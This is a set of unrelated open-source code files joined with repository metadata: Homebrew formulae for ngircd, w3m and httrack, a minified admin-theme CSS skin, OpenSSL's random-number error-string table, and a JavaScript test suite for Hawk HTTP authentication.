class Ngircd < Formula desc "Next generation IRC daemon" homepage "http://ngircd.barton.de" url "http://ngircd.barton.de/pub/ngircd/ngircd-23.tar.gz" mirror "http://ngircd.mirror.3rz.org/pub/ngircd/ngircd-23.tar.gz" sha256 "99b8b67a975a9ae9b81c96bdee02133a10f515c718825d34cedcb64f1fc95e73" bottle do sha256 "5ca03cd4c4b96553c0be0361311baad578ed5f33b0b70e510b2d503f2f5354b9" => :el_capitan sha256 "32286cf3a53887c07293cc0d712aadd5ed7dc567d2f90bc3c9768d247d09061a" => :yosemite sha256 "b8a848cce3bde15ed760b3c93065b5914dcd222cee5c11c4401e7901c929246e" => :mavericks end option "with-iconv", "Enable character conversion using libiconv." option "with-pam", "Enable user authentication using PAM." option "with-sniffer", "Enable IRC traffic sniffer (also enables additional debug output)." option "with-debug", "Enable additional debug output." # Older Formula used the next option by default, so keep it unless # deactivated by the user: option "without-ident", "Disable 'IDENT' ('AUTH') protocol support." depends_on "libident" if build.with? "ident" depends_on "openssl" def install args = %W[ --disable-dependency-tracking --prefix=#{prefix} --sysconfdir=#{HOMEBREW_PREFIX}/etc --enable-ipv6 --with-openssl ] args << "--with-iconv" if build.with? "iconv" args << "--with-ident" if build.with? "ident" args << "--with-pam" if build.with? "pam" args << "--enable-debug" if build.with? "debug" args << "--enable-sniffer" if build.with? "sniffer" system "./configure", *args system "make", "install" prefix.install "contrib/MacOSX/de.barton.ngircd.plist.tmpl" => "de.barton.ngircd.plist" (prefix+"de.barton.ngircd.plist").chmod 0644 inreplace prefix+"de.barton.ngircd.plist" do |s| s.gsub! ":SBINDIR:", sbin s.gsub! "/Library/Logs/ngIRCd.log", var/"Logs/ngIRCd.log" end end test do # Exits non-zero, so test version and match Author's name supplied. assert_match /Alexander/, pipe_output("#{sbin}/ngircd -V 2>&1") end end
base10/homebrew
Library/Formula/ngircd.rb
Ruby
bsd-2-clause
2,082
class W3m < Formula desc "Pager/text based browser" homepage "http://w3m.sourceforge.net/" url "https://downloads.sourceforge.net/project/w3m/w3m/w3m-0.5.3/w3m-0.5.3.tar.gz" sha256 "e994d263f2fd2c22febfbe45103526e00145a7674a0fda79c822b97c2770a9e3" bottle do sha256 "c6443287699a058e58ff0e378a8f6459370de79f89246ac7217e11f9f748abed" => :el_capitan sha256 "57a644921789316e92cbc37d2e0c51eaf5591876992626a9bcf9f4a56c0e3897" => :yosemite sha256 "e2972a26e7c734e6814257516ebda796e907df5787906c4144321fc63e70f1a1" => :mavericks end depends_on "pkg-config" => :build depends_on "bdw-gc" depends_on "openssl" fails_with :llvm do build 2334 end patch :DATA def install system "./configure", "--prefix=#{prefix}", "--disable-image", "--with-ssl=#{Formula["openssl"].opt_prefix}" # Race condition in build reported in: # https://github.com/Homebrew/homebrew/issues/12854 ENV.j1 system "make", "install" end test do assert_match /DuckDuckGo/, shell_output("#{bin}/w3m -dump https://duckduckgo.com") end end __END__ diff --git a/main.c b/main.c index b421943..865c744 100644 --- a/main.c +++ b/main.c @@ -833,7 +833,12 @@ main(int argc, char **argv, char **envp) mySignal(SIGPIPE, SigPipe); #endif +#if GC_VERSION_MAJOR >= 7 && GC_VERSION_MINOR >= 2 + orig_GC_warn_proc = GC_get_warn_proc(); + GC_set_warn_proc(wrap_GC_warn_proc); +#else orig_GC_warn_proc = GC_set_warn_proc(wrap_GC_warn_proc); +#endif err_msg = Strnew(); if (load_argc == 0) { /* no URL specified */
Noctem/homebrew
Library/Formula/w3m.rb
Ruby
bsd-2-clause
1,591
.skin-green .main-header .navbar{background-color:#00a65a}.skin-green .main-header .navbar .nav>li>a{color:#fff}.skin-green .main-header .navbar .nav>li>a:hover,.skin-green .main-header .navbar .nav>li>a:active,.skin-green .main-header .navbar .nav>li>a:focus,.skin-green .main-header .navbar .nav .open>a,.skin-green .main-header .navbar .nav .open>a:hover,.skin-green .main-header .navbar .nav .open>a:focus,.skin-green .main-header .navbar .nav>.active>a{background:rgba(0,0,0,0.1);color:#f6f6f6}.skin-green .main-header .navbar .sidebar-toggle{color:#fff}.skin-green .main-header .navbar .sidebar-toggle:hover{color:#f6f6f6;background:rgba(0,0,0,0.1)}.skin-green .main-header .navbar .sidebar-toggle{color:#fff}.skin-green .main-header .navbar .sidebar-toggle:hover{background-color:#008d4c}@media (max-width:767px){.skin-green .main-header .navbar .dropdown-menu li.divider{background-color:rgba(255,255,255,0.1)}.skin-green .main-header .navbar .dropdown-menu li a{color:#fff}.skin-green .main-header .navbar .dropdown-menu li a:hover{background:#008d4c}}.skin-green .main-header .logo{background-color:#008d4c;color:#fff;border-bottom:0 solid transparent}.skin-green .main-header .logo:hover{background-color:#008749}.skin-green .main-header li.user-header{background-color:#00a65a}.skin-green .content-header{background:transparent}.skin-green .wrapper,.skin-green .main-sidebar,.skin-green .left-side{background-color:#222d32}.skin-green .user-panel>.info,.skin-green .user-panel>.info>a{color:#fff}.skin-green .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-green .sidebar-menu>li>a{border-left:3px solid transparent}.skin-green .sidebar-menu>li:hover>a,.skin-green .sidebar-menu>li.active>a{color:#fff;background:#1e282c;border-left-color:#00a65a}.skin-green .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-green .sidebar a{color:#b8c7ce}.skin-green .sidebar a:hover{text-decoration:none}.skin-green .treeview-menu>li>a{color:#8aa4af}.skin-green .treeview-menu>li.active>a,.skin-green .treeview-menu>li>a:hover{color:#fff}.skin-green .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px 10px}.skin-green .sidebar-form input[type="text"],.skin-green .sidebar-form .btn{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-green .sidebar-form input[type="text"]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-green .sidebar-form input[type="text"]:focus,.skin-green .sidebar-form input[type="text"]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-green .sidebar-form input[type="text"]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-green .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}
gustavofonseca/inbox
penne_core/static/frontdesk/css/skins/skin-green.min.css
CSS
bsd-2-clause
2,889
class Httrack < Formula desc "Website copier/offline browser" homepage "https://www.httrack.com/" # Always use mirror.httrack.com when you link to a new version of HTTrack, as # link to download.httrack.com will break on next HTTrack update. url "https://mirror.httrack.com/historical/httrack-3.48.21.tar.gz" sha256 "871b60a1e22d7ac217e4e14ad4d562fbad5df7c370e845f1ecf5c0e4917be482" bottle do sha256 "b1087aa6b2d33562c4e230b3d55bbd4a525fd2bb5fd1f2b0d2d3bcc12a6eb534" => :el_capitan sha256 "f74a06fd065898048d3e27aebdf11e5d9bb186586e82264250bcf06a6f6ec37b" => :yosemite sha256 "e309068ddd030d866028c6c383d2093fd2a6a62f00817853876f339fb69cc10c" => :mavericks sha256 "2097533c4e53afdc801075cef34c5a15819e51c4e0de4f9717bb958d9eace283" => :mountain_lion end depends_on "openssl" def install ENV.deparallelize system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" # Don't need Gnome integration rm_rf Dir["#{share}/{applications,pixmaps}"] end end
max-horvath/homebrew
Library/Formula/httrack.rb
Ruby
bsd-2-clause
1,050
/* crypto/rand/rand_err.c */ /* ==================================================================== * Copyright (c) 1999-2011 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * openssl-core@OpenSSL.org. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * (eay@cryptsoft.com). This product includes software written by Tim * Hudson (tjh@cryptsoft.com). * */ /* NOTE: this file was auto generated by the mkerr.pl script: any changes * made to it will be overwritten when the script next updates this file, * only reason strings will be preserved. */ #include <stdio.h> #include <openssl/err.h> #include <openssl/rand.h> /* BEGIN ERROR CODES */ #ifndef OPENSSL_NO_ERR #define ERR_FUNC(func) ERR_PACK(ERR_LIB_RAND,func,0) #define ERR_REASON(reason) ERR_PACK(ERR_LIB_RAND,0,reason) static ERR_STRING_DATA RAND_str_functs[]= { {ERR_FUNC(RAND_F_RAND_GET_RAND_METHOD), "RAND_get_rand_method"}, {ERR_FUNC(RAND_F_RAND_INIT_FIPS), "RAND_init_fips"}, {ERR_FUNC(RAND_F_SSLEAY_RAND_BYTES), "SSLEAY_RAND_BYTES"}, {0,NULL} }; static ERR_STRING_DATA RAND_str_reasons[]= { {ERR_REASON(RAND_R_ERROR_INITIALISING_DRBG),"error initialising drbg"}, {ERR_REASON(RAND_R_ERROR_INSTANTIATING_DRBG),"error instantiating drbg"}, {ERR_REASON(RAND_R_NO_FIPS_RANDOM_METHOD_SET),"no fips random method set"}, {ERR_REASON(RAND_R_PRNG_NOT_SEEDED) ,"PRNG not seeded"}, {0,NULL} }; #endif void ERR_load_RAND_strings(void) { #ifndef OPENSSL_NO_ERR if (ERR_func_error_string(RAND_str_functs[0].error) == NULL) { ERR_load_strings(0,RAND_str_functs); ERR_load_strings(0,RAND_str_reasons); } #endif }
dplbsd/soc2013
head/crypto/openssl/crypto/rand/rand_err.c
C
bsd-2-clause
3,898
// Load modules var Lab = require('lab'); var Hoek = require('hoek'); var Hawk = require('../lib'); var Browser = require('../lib/browser'); var LocalStorage = require('localStorage'); // Declare internals var internals = {}; // Test shortcuts var expect = Lab.expect; var before = Lab.before; var after = Lab.after; var describe = Lab.experiment; var it = Lab.test; describe('Browser', function () { var credentialsFunc = function (id, callback) { var credentials = { id: id, key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn', algorithm: (id === '1' ? 'sha1' : 'sha256'), user: 'steve' }; return callback(null, credentials); }; it('should generate a header then successfully parse it (configuration)', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data' }).field; expect(req.authorization).to.exist; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); done(); }); }); }); it('should generate a header then successfully parse it (node request)', function (done) { var req = { method: 'POST', url: '/resource/4?filter=a', headers: { host: 'example.com:8080', 'content-type': 'text/plain;x=y' } }; var payload = 'some not so random text'; credentialsFunc('123456', function (err, credentials) { var reqHeader = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data', payload: payload, contentType: req.headers['content-type'] }); req.headers.authorization = reqHeader.field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(Hawk.server.authenticatePayload(payload, credentials, artifacts, req.headers['content-type'])).to.equal(true); var res = { headers: { 'content-type': 'text/plain' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; res.headers['server-authorization'] = Hawk.server.header(credentials, artifacts, { payload: 'some reply', contentType: 'text/plain', ext: 'response-specific' }); expect(res.headers['server-authorization']).to.exist; expect(Browser.client.authenticate(res, credentials, artifacts, { payload: 'some reply' })).to.equal(true); done(); }); }); }); it('should generate a header then successfully parse it (no server header options)', function (done) { var req = { method: 'POST', url: '/resource/4?filter=a', headers: { host: 'example.com:8080', 'content-type': 'text/plain;x=y' } }; var payload = 'some not so random text'; credentialsFunc('123456', function (err, credentials) { var reqHeader = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data', payload: payload, contentType: req.headers['content-type'] }); req.headers.authorization = reqHeader.field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(Hawk.server.authenticatePayload(payload, credentials, artifacts, req.headers['content-type'])).to.equal(true); var res = { headers: { 'content-type': 'text/plain' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; res.headers['server-authorization'] = Hawk.server.header(credentials, artifacts); expect(res.headers['server-authorization']).to.exist; expect(Browser.client.authenticate(res, credentials, artifacts)).to.equal(true); done(); }); }); }); it('should generate a header then successfully parse it (no server header)', function (done) { var req = { method: 'POST', url: '/resource/4?filter=a', headers: { host: 'example.com:8080', 'content-type': 'text/plain;x=y' } }; var payload = 'some not so random text'; credentialsFunc('123456', function (err, credentials) { var reqHeader = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data', payload: payload, contentType: req.headers['content-type'] }); req.headers.authorization = reqHeader.field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(Hawk.server.authenticatePayload(payload, credentials, artifacts, req.headers['content-type'])).to.equal(true); var res = { headers: { 'content-type': 'text/plain' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; expect(Browser.client.authenticate(res, credentials, artifacts)).to.equal(true); done(); }); }); }); it('should generate a header with stale ts and successfully authenticate on second call', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { Browser.utils.setNtpOffset(60 * 60 * 1000); var header = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data' }); req.authorization = header.field; expect(req.authorization).to.exist; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.exist; expect(err.message).to.equal('Stale timestamp'); var res = { headers: { 'www-authenticate': err.response.headers['WWW-Authenticate'] }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; expect(Browser.utils.getNtpOffset()).to.equal(60 * 60 * 1000); expect(Browser.client.authenticate(res, credentials, header.artifacts)).to.equal(true); expect(Browser.utils.getNtpOffset()).to.equal(0); req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data' }).field; expect(req.authorization).to.exist; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); done(); }); }); }); }); it('should generate a header with stale ts and successfully authenticate on second call (manual localStorage)', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { Browser.utils.setStorage(LocalStorage) Browser.utils.setNtpOffset(60 * 60 * 1000); var header = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data' }); req.authorization = header.field; expect(req.authorization).to.exist; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.exist; expect(err.message).to.equal('Stale timestamp'); var res = { headers: { 'www-authenticate': err.response.headers['WWW-Authenticate'] }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; expect(parseInt(LocalStorage.getItem('hawk_ntp_offset'))).to.equal(60 * 60 * 1000); expect(Browser.utils.getNtpOffset()).to.equal(60 * 60 * 1000); expect(Browser.client.authenticate(res, credentials, header.artifacts)).to.equal(true); expect(Browser.utils.getNtpOffset()).to.equal(0); expect(parseInt(LocalStorage.getItem('hawk_ntp_offset'))).to.equal(0); req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data' }).field; expect(req.authorization).to.exist; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); done(); }); }); }); }); it('should generate a header then fails to parse it (missing server header hash)', function (done) { var req = { method: 'POST', url: '/resource/4?filter=a', headers: { host: 'example.com:8080', 'content-type': 'text/plain;x=y' } }; var payload = 'some not so random text'; credentialsFunc('123456', function (err, credentials) { var reqHeader = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data', payload: payload, contentType: req.headers['content-type'] }); req.headers.authorization = reqHeader.field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(Hawk.server.authenticatePayload(payload, credentials, artifacts, req.headers['content-type'])).to.equal(true); var res = { headers: { 'content-type': 'text/plain' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; res.headers['server-authorization'] = Hawk.server.header(credentials, artifacts); expect(res.headers['server-authorization']).to.exist; expect(Browser.client.authenticate(res, credentials, artifacts, { payload: 'some reply' })).to.equal(false); done(); }); }); }); it('should generate a header then successfully parse it (with hash)', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, payload: 'hola!', ext: 'some-app-data' }).field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); done(); }); }); }); it('should generate a header then successfully parse it then validate payload', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, payload: 'hola!', ext: 'some-app-data' }).field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(Hawk.server.authenticatePayload('hola!', credentials, artifacts)).to.be.true; expect(Hawk.server.authenticatePayload('hello!', credentials, artifacts)).to.be.false; done(); }); }); }); it('should generate a header then successfully parse it (app)', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data', app: 'asd23ased' }).field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(artifacts.app).to.equal('asd23ased'); done(); }); }); }); it('should generate a header then successfully parse it (app, dlg)', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data', app: 'asd23ased', dlg: '23434szr3q4d' }).field; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); expect(artifacts.ext).to.equal('some-app-data'); expect(artifacts.app).to.equal('asd23ased'); expect(artifacts.dlg).to.equal('23434szr3q4d'); done(); }); }); }); it('should generate a header then fail authentication due to bad hash', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, payload: 'hola!', ext: 'some-app-data' }).field; Hawk.server.authenticate(req, credentialsFunc, { payload: 'byebye!' }, function (err, credentials, artifacts) { expect(err).to.exist; expect(err.response.payload.message).to.equal('Bad payload hash'); done(); }); }); }); it('should generate a header for one resource then fail to authenticate another', function (done) { var req = { method: 'GET', url: '/resource/4?filter=a', host: 'example.com', port: 8080 }; credentialsFunc('123456', function (err, credentials) { req.authorization = Browser.client.header('http://example.com:8080/resource/4?filter=a', req.method, { credentials: credentials, ext: 'some-app-data' }).field; req.url = '/something/else'; Hawk.server.authenticate(req, credentialsFunc, {}, function (err, credentials, artifacts) { expect(err).to.exist; expect(credentials).to.exist; done(); }); }); }); describe('client', function () { describe('#header', function () { it('should return a valid authorization header (sha1)', function (done) { var credentials = { id: '123456', key: '2983d45yun89q', algorithm: 'sha1' }; var header = Browser.client.header('http://example.net/somewhere/over/the/rainbow', 'POST', { credentials: credentials, ext: 'Bazinga!', timestamp: 1353809207, nonce: 'Ygvqdz', payload: 'something to write about' }).field; expect(header).to.equal('Hawk id="123456", ts="1353809207", nonce="Ygvqdz", hash="bsvY3IfUllw6V5rvk4tStEvpBhE=", ext="Bazinga!", mac="qbf1ZPG/r/e06F4ht+T77LXi5vw="'); done(); }); it('should return a valid authorization header (sha256)', function (done) { var credentials = { id: '123456', key: '2983d45yun89q', algorithm: 'sha256' }; var header = Browser.client.header('https://example.net/somewhere/over/the/rainbow', 'POST', { credentials: credentials, ext: 'Bazinga!', timestamp: 1353809207, nonce: 'Ygvqdz', payload: 'something to write about', contentType: 'text/plain' }).field; expect(header).to.equal('Hawk id="123456", ts="1353809207", nonce="Ygvqdz", hash="2QfCt3GuY9HQnHWyWD3wX68ZOKbynqlfYmuO2ZBRqtY=", ext="Bazinga!", mac="q1CwFoSHzPZSkbIvl0oYlD+91rBUEvFk763nMjMndj8="'); done(); }); it('should return a valid authorization header (no ext)', function (done) { var credentials = { id: '123456', key: '2983d45yun89q', algorithm: 'sha256' }; var header = Browser.client.header('https://example.net/somewhere/over/the/rainbow', 'POST', { credentials: credentials, timestamp: 1353809207, nonce: 'Ygvqdz', payload: 'something to write about', contentType: 'text/plain' }).field; expect(header).to.equal('Hawk id="123456", ts="1353809207", nonce="Ygvqdz", hash="2QfCt3GuY9HQnHWyWD3wX68ZOKbynqlfYmuO2ZBRqtY=", mac="HTgtd0jPI6E4izx8e4OHdO36q00xFCU0FolNq3RiCYs="'); done(); }); it('should return an empty authorization header on missing options', function (done) { var header = Browser.client.header('https://example.net/somewhere/over/the/rainbow', 'POST').field; expect(header).to.equal(''); done(); }); it('should return an empty authorization header on invalid credentials', function (done) { var credentials = { key: '2983d45yun89q', algorithm: 'sha256' }; var header = Browser.client.header('https://example.net/somewhere/over/the/rainbow', 'POST', { credentials: credentials, ext: 'Bazinga!', timestamp: 1353809207 }).field; expect(header).to.equal(''); done(); }); it('should return an empty authorization header on invalid algorithm', function (done) { var credentials = { id: '123456', key: '2983d45yun89q', algorithm: 'hmac-sha-0' }; var header = Browser.client.header('https://example.net/somewhere/over/the/rainbow', 'POST', { credentials: credentials, payload: 'something, anything!', ext: 'Bazinga!', timestamp: 1353809207 }).field; expect(header).to.equal(''); done(); }); }); describe('#authenticate', function () { it('should return false on invalid header', function (done) { var res = { headers: { 'server-authorization': 'Hawk mac="abc", bad="xyz"' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; expect(Browser.client.authenticate(res, {})).to.equal(false); done(); }); it('should return false on invalid mac', function (done) { var res = { headers: { 'content-type': 'text/plain', 'server-authorization': 'Hawk mac="_IJRsMl/4oL+nn+vKoeVZPdCHXB4yJkNnBbTbHFZUYE=", hash="f9cDF/TDm7TkYRLnGwRMfeDzT6LixQVLvrIKhh0vgmM=", ext="response-specific"' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; var artifacts = { method: 'POST', host: 'example.com', port: '8080', resource: '/resource/4?filter=a', ts: '1362336900', nonce: 'eb5S_L', hash: 'nJjkVtBE5Y/Bk38Aiokwn0jiJxt/0S2WRSUwWLCf5xk=', ext: 'some-app-data', app: undefined, dlg: undefined, mac: 'BlmSe8K+pbKIb6YsZCnt4E1GrYvY1AaYayNR82dGpIk=', id: '123456' }; var credentials = { id: '123456', key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn', algorithm: 'sha256', user: 'steve' }; expect(Browser.client.authenticate(res, credentials, artifacts)).to.equal(false); done(); }); it('should return true on ignoring hash', function (done) { var res = { headers: { 'content-type': 'text/plain', 'server-authorization': 'Hawk mac="XIJRsMl/4oL+nn+vKoeVZPdCHXB4yJkNnBbTbHFZUYE=", hash="f9cDF/TDm7TkYRLnGwRMfeDzT6LixQVLvrIKhh0vgmM=", ext="response-specific"' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; var artifacts = { method: 'POST', host: 'example.com', port: '8080', resource: '/resource/4?filter=a', ts: '1362336900', nonce: 'eb5S_L', hash: 'nJjkVtBE5Y/Bk38Aiokwn0jiJxt/0S2WRSUwWLCf5xk=', ext: 'some-app-data', app: undefined, dlg: undefined, mac: 'BlmSe8K+pbKIb6YsZCnt4E1GrYvY1AaYayNR82dGpIk=', id: '123456' }; var credentials = { id: '123456', key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn', algorithm: 'sha256', user: 'steve' }; expect(Browser.client.authenticate(res, credentials, artifacts)).to.equal(true); done(); }); it('should fail on invalid WWW-Authenticate header format', function (done) { var res = { headers: { 'www-authenticate': 'Hawk ts="1362346425875", tsm="PhwayS28vtnn3qbv0mqRBYSXebN/zggEtucfeZ620Zo=", x="Stale timestamp"' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; expect(Browser.client.authenticate(res, {})).to.equal(false); done(); }); it('should fail on invalid WWW-Authenticate header format', function (done) { var credentials = { id: '123456', key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn', algorithm: 'sha256', user: 'steve' }; var res = { headers: { 'www-authenticate': 'Hawk ts="1362346425875", tsm="hwayS28vtnn3qbv0mqRBYSXebN/zggEtucfeZ620Zo=", error="Stale timestamp"' }, getResponseHeader: function (header) { return res.headers[header.toLowerCase()]; } }; expect(Browser.client.authenticate(res, credentials)).to.equal(false); done(); }); }); describe('#message', function () { it('should generate an authorization then successfully parse it', function (done) { credentialsFunc('123456', function (err, credentials) { var auth = Browser.client.message('example.com', 8080, 'some message', { credentials: credentials }); expect(auth).to.exist; Hawk.server.authenticateMessage('example.com', 8080, 'some message', auth, credentialsFunc, {}, function (err, credentials) { expect(err).to.not.exist; expect(credentials.user).to.equal('steve'); done(); }); }); }); it('should fail on missing host', function (done) { credentialsFunc('123456', function (err, credentials) { var auth = Browser.client.message(null, 8080, 'some message', { credentials: credentials }); expect(auth).to.not.exist; done(); }); }); it('should fail on missing credentials', function (done) { var auth = Browser.client.message('example.com', 8080, 'some message', {}); expect(auth).to.not.exist; done(); }); it('should fail on invalid algorithm', function (done) { credentialsFunc('123456', function (err, credentials) { var creds = Hoek.clone(credentials); creds.algorithm = 'blah'; var auth = Browser.client.message('example.com', 8080, 'some message', { credentials: creds }); expect(auth).to.not.exist; done(); }); }); }); }); describe('#parseAuthorizationHeader', function (done) { it('returns null on missing header', function (done) { expect(Browser.utils.parseAuthorizationHeader()).to.equal(null); done(); }); it('returns null on bad header syntax (structure)', function (done) { expect(Browser.utils.parseAuthorizationHeader('Hawk')).to.equal(null); done(); }); it('returns null on bad header syntax (parts)', function (done) { expect(Browser.utils.parseAuthorizationHeader(' ')).to.equal(null); done(); }); it('returns null on bad scheme name', function (done) { expect(Browser.utils.parseAuthorizationHeader('Basic asdasd')).to.equal(null); done(); }); it('returns null on bad attribute value', function (done) { expect(Browser.utils.parseAuthorizationHeader('Hawk test="\t"', ['test'])).to.equal(null); done(); }); it('returns null on duplicated attribute', function (done) { expect(Browser.utils.parseAuthorizationHeader('Hawk test="a", test="b"', ['test'])).to.equal(null); done(); }); }); });
habibmasuro/coinpunk
node_modules/request/node_modules/hawk/test/browser.js
JavaScript
bsd-2-clause
30,231
